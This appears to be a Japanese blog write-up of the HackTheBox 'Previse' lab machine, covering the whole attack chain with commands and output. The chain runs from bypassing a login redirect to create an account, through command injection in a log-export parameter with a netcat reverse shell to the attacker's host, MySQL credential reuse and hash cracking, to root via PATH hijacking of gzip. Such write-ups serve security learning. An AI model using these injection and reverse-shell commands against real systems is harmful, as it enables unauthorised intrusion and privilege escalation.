🔥

HackTheBox Previse

2022/10/03に公開

Previse

侵入

nmap

ポートスキャン

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.104 -oN nmap.log
PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp    open     http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php

22、80番を確認

web


ログインページを発見

gobuster

ディレクトリ探索

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ gobuster dir -u http://10.10.11.104 -w /usr/share/wordlists/dirb/common.txt -x '.php' -o gobuster_dir_ex.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/10/03 15:22:38 Starting gobuster in directory enumeration mode
===============================================================
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/favicon.ico          (Status: 200) [Size: 15406]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/footer.php           (Status: 200) [Size: 217]
/header.php           (Status: 200) [Size: 980]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/login.php            (Status: 200) [Size: 2224]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]
/server-status        (Status: 403) [Size: 277]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
===============================================================
2022/10/03 14:54:39 Finished
===============================================================

多くの PHP ファイルを発見

accounts.php

リダイレクトされるが、Burp Suite で通信を確認する

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    </p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>

パラメータを送ることで、ユーザを追加できそう

username=sho000&password=password&confirm=password

上記のようなパラメータを追加を追加し、Send する

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    <div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div></p>

Success! User was added! というメッセージが出力された

login

先程追加した情報でログインできるか試してみる

ログイン成功

探索していくと、ZIP ファイルを発見

siteBackup.zip

ZIP ファイルを解凍する

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ unzip siteBackup.zip
inflating: accounts.php            
inflating: config.php              
inflating: download.php            
inflating: file_logs.php           
inflating: files.php               
inflating: footer.php              
inflating: header.php              
inflating: index.php               
inflating: login.php               
inflating: logout.php              
inflating: logs.php                
inflating: nav.php                 
inflating: status.php

ディレクトリ探索で見つけた様なファイルを取得できた

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ cat config.php         
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

一番気になる config.php を見てみると、mysql への認証情報が書かれていた

logs.php

ファイルの中身を見ていると気になる部分を発見

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

exec コマンドを発見し delim パラメータが使用されていることがわかる

POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/file_logs.php
Cookie: PHPSESSID=dc3fr73emkth91obta4rmqf7gg
Upgrade-Insecure-Requests: 1

delim=space

Burp Suite で確認すると、以下のようなリクエストが送られていた
delim を悪用してコマンドが実行できそう

delim=comma;ping -c 1 10.10.14.12

kali に ping を一回飛ばすコマンドを入力し、Send する

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ sudo tcpdump -i tun0 icmp                              
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:15:18.150565 IP 10.10.11.104 > 10.10.14.12: ICMP echo request, id 18714, seq 1, length 64
16:15:18.150643 IP 10.10.14.12 > 10.10.11.104: ICMP echo reply, id 18714, seq 1, length 64

ping が飛んできたことがわかる

www-data としてのシェル

nc

delim=comma;nc 10.10.14.12 7777 -e /bin/bash

上記のようなリクエストを作成し、Send

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.104] 58160
whoami
www-data

侵入成功

列挙

home

ユーザの存在を確認するため、home ディレクトリをみると、m4lwhere ユーザを確認

www-data@previse:/home/m4lwhere$ ls -l
total 4
-r-------- 1 m4lwhere m4lwhere 33 Oct  3 05:42 user.txt

user.txt に権限があるか一応見てみるが、権限はないことがわかった

mysql

侵入前の探索で、認証情報を取得しているのでアクセスしてみる

www-data@previse:/home/m4lwhere$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 177
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

アクセス成功

mysql> use previse
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

accounts テーブルを発見

mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | sho000   | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2022-10-03 06:38:34 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec) +

hash 化されているが、パスワードを発見できた
hashcat で確認すると、これは 500 で解読できそうであることがわかる

┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt --show
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

ilovecody112235! という文字列を取得

m4lwhere としてのシェル

su

www-data@previse:/home/m4lwhere$ su m4lwhere
Password: ilovecody112235!

m4lwhere@previse:~$ whoami
m4lwhere

シェル取得に成功

user フラグ

m4lwhere@previse:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

権限昇格

sudo

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: ilovecody112235!

User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

access_backup.sh が使えるらしい

access_backup.sh

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

gzip を実行しているようだが、gzip は完全なパス名ではないため、悪用できそう

m4lwhere@previse:/tmp$ echo "chmod +s /bin/bash" > gzip

今回は、/bin/bash の権限を変更することで、権限昇格を目指す

m4lwhere@previse:/tmp$ chmod +x gzip

新たに作成した gzip に実行権限を付与

m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH

作成した gzip が先に実行されるように、PATH 変数に /tmp を追加

root としてのシェル

exploit

m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh

access_backup.sh を実行

m4lwhere@previse:/tmp$ find / -type f -user root -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/bin/bash
/bin/su

SUID が /bin/bash に対して付与されたことがわかる

m4lwhere@previse:/tmp$ bash -p
bash-4.4# whoami
root

権限昇格成功

root フラグ

bash-4.4# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグ取得

所感

今回のボックスは、特に詰まることがなくスラスラと攻略できた。楽しかった。少し気になる点は、ディレクトリ探索をする際に、拡張子を指定しなければ、accounts.php を発見することができなかったということ。抜けのない探索を心がけたい。

Discussion